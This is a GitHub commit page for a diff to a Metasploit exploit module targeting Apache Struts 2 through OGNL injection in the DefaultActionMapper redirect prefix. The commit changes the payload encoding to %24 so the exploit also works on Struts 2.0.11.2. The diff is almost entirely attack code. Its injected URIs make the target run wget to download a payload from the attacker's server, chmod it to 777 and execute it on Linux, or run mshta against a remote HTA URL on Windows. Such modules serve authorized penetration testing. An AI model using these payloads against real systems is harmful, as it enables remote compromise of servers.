Skip to content

Commit 22c7703

Browse files
committed
Land rapid7#2658 - Make OGNL expressions compatible with struts 2.0.11.2
2 parents 13f8a69 + cec4166 commit 22c7703

File tree

1 file changed

+9
-9
lines changed

1 file changed

+9
-9
lines changed

modules/exploits/multi/http/struts_default_action_mapper.rb

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -27,8 +27,8 @@ def initialize(info = {})
2727
evaluated as OGNL expression against the value stack, this introduces the
2828
possibility to inject server side code.
2929
30-
This module has been tested successfully on Struts 2.3.15 over Tomcat 7, with
31-
Windows 2003 SP2 and Ubuntu 10.04 operating systems.
30+
This module has been tested successfully on Struts 2.3.15 and Struts 2.0.11.2 over
31+
Tomcat 7, with Windows 2003 SP2 and Ubuntu 10.04 operating systems.
3232
},
3333
'License' => MSF_LICENSE,
3434
'Author' =>
@@ -156,11 +156,11 @@ def check
156156
proof = rand_text_alpha(6 + rand(4))
157157

158158
res = send_request_cgi({
159-
'uri' => "#{uri}?redirect:%25{new%20java.lang.String('#{proof}')}",
159+
'uri' => "#{uri}?redirect:%24{new%20java.lang.String('#{proof}')}",
160160
'method' => 'GET'
161161
})
162162

163-
if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/
163+
if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/ and res.headers['Location'] !~ /String/
164164
return Exploit::CheckCode::Vulnerable
165165
end
166166

@@ -181,7 +181,7 @@ def auto_target
181181
proof = rand_text_alpha(6 + rand(4))
182182

183183
res = send_request_cgi({
184-
'uri' => "#{uri}?redirect:%25{new%20java.io.File('.').getCanonicalPath().concat('#{proof}')}",
184+
'uri' => "#{uri}?redirect:%24{new%20java.io.File('.').getCanonicalPath().concat('#{proof}')}",
185185
'method' => 'GET'
186186
})
187187

@@ -215,7 +215,7 @@ def exploit_linux
215215
fname = "#{fname}/" unless fname =~ %r'/$'
216216
fname << downfile
217217
uri = normalize_uri(target_uri.path)
218-
uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'wget','#{service_url}','-O',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}"
218+
uri << "?redirect:%24{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'wget','#{service_url}','-O',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}"
219219

220220
print_status("#{rhost}:#{rport} - Downloading payload to #{fname}...")
221221

@@ -239,7 +239,7 @@ def exploit_linux
239239
# chmod
240240
#
241241
uri = normalize_uri(target_uri.path)
242-
uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'chmod','777',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}"
242+
uri << "?redirect:%24{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'chmod','777',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}"
243243

244244
print_status("#{rhost}:#{rport} - Make payload executable...")
245245

@@ -256,7 +256,7 @@ def exploit_linux
256256
# execute
257257
#
258258
uri = normalize_uri(target_uri.path)
259-
uri << "?redirect:%25{(new%20java.lang.ProcessBuilder(new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f'))).start()}"
259+
uri << "?redirect:%24{(new%20java.lang.ProcessBuilder(new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f'))).start()}"
260260

261261
print_status("#{rhost}:#{rport} - Execute payload...")
262262

@@ -285,7 +285,7 @@ def exploit_windows
285285
# execute hta
286286
#
287287
uri = normalize_uri(target_uri.path)
288-
uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'mshta',new%20java.lang.String('http:nn#{service_url}').replace('n','\\u002f')})).start()}"
288+
uri << "?redirect:%24{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'mshta',new%20java.lang.String('http:nn#{service_url}').replace('n','\\u002f')})).start()}"
289289

290290
print_status("#{rhost}:#{rport} - Execute payload through malicious HTA...")
291291

0 commit comments

Comments
 (0)